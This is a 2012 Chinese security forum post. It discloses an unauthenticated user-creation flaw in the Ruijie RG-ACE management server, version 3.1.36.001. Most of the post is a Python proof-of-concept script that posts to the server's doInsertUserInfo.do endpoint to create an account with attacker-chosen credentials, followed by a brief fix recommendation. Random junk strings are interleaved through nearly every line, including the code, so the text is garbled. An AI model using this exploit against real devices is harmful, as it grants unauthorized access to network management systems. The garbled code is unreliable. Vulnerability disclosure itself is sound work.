找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2084|回复: 0
打印 上一主题 下一主题

锐捷应用控制引擎管理服务器可以增加用户

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:16:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)
6 O/ ], c' q1 k; F0 w4 E  J$ z0 n$ O8 U5 ]. i
% K( ?8 `% _/ @" O2 X/ a1 n
测试的具体版本是
' R0 ^9 A( K& |& Z1 F" {9 X产品名称: 锐捷应用控制引擎' Z  h3 w, R4 B$ _7 }
版本号: 3.1.36.001 TC- x0 }$ g: b9 B+ P
编译时间: 201104291730  B9 k) s& z. |. T! V$ ~5 t

3 A4 y- ~7 Q; z& l7 n# B# @6 G- B' ^/ r
漏洞证明:
8 ]$ j  ~  j3 c0 p; g8 _
. w) H7 W5 M, `, @
6 r$ @$ F  O$ \( k; z/ \! }0 W3 C2 ~5 ]7 t! ~& s- d, Q0 i
6 \, v) q0 D& Q. ?( }4 k

9 b" O" j7 i' u- r0 n" L3 b3 X
" ]% w; \) o% l5 l( Z  x' `执行脚本
7 x% `6 G& g! U#! /usr/bin/env python" e, `7 V: y$ k5 G8 E
#coding=gbk+ V, A" N9 W3 t
#RG-ACE管理服务器 V3.1.36.001+ z2 D. K9 K, c
import urllib2, urllib,cookielib
5 E& f* b: `) B9 y% u" f: }, aurl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
+ J7 h% A: L+ w7 \4 G' [7 }9 vopener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
4 }2 A3 H5 O5 {9 f5 Copener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]6 ~8 G: w& z  l! Z/ w" Z
post=(("event","userManager.doInsertUserInfo"),7 W3 ^/ i$ U0 Q9 [7 d  }3 ?
("useractionname","addButtonValue"),
( o& v* d, o% q("useropermanager","userManager")," r; t* E! e' E( r+ N% E7 k
("userName","t"), #######账号自己加
7 m' B" _% A2 |$ @( E("pwd","aaaaaa"),######密码自己加, O, F( T( C( _7 v* _
("trueName","ad"),
2 x: [; C6 k+ ?) O("email",""),
& @$ z# M- A7 p8 Y("mobilePhone",""),% d' D8 E+ {, @  Q/ Y
("officePhone",""),' A3 F8 ^+ H0 I+ b0 E
("addr",""),
7 J, F0 Y: E$ U) B4 X("submit","确定"))1 P" M/ |3 B# |( {
urllib2.install_opener(opener)2 V6 M4 c4 S* g5 u) \1 ~3 y
p=urllib2.urlopen(url, urllib.urlencode(post)).read()0 t2 v" }" u) \/ E
print "Done"- {1 E! a% Q' e4 c( X% ~

! E3 X; e$ H# H! ~, j4 G7 ~登录,连接设备" Y' u( U6 L* J

) @8 l" L9 l* c7 P# p- Z, W8 v1 \2 _- O. @: b- j
+ S- z& T- y6 D% V0 D
+ [& n" i7 b% M: L8 N. }" f

" X: j! _6 [# Q4 W) w( ?: i默认的管理员admin权限更大点( V+ N8 q* k* N! p+ Z" ^* p# i

6 V4 N: t- k1 L% ^( r7 i8 d* N
$ d4 J# ^, i/ ]5 F7 K
5 ?( r* t+ D+ n3 D
  P! {2 @0 Z! z* ?- A% A
/ d5 I  B6 E$ g# \修复方案:
6 n( K! ]  p2 G( k; ]加强对接口的权限验证
9 L0 K3 l1 O5 G. V" Q6 p$ t
5 h3 c# H3 K" r0 W$ G8 J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表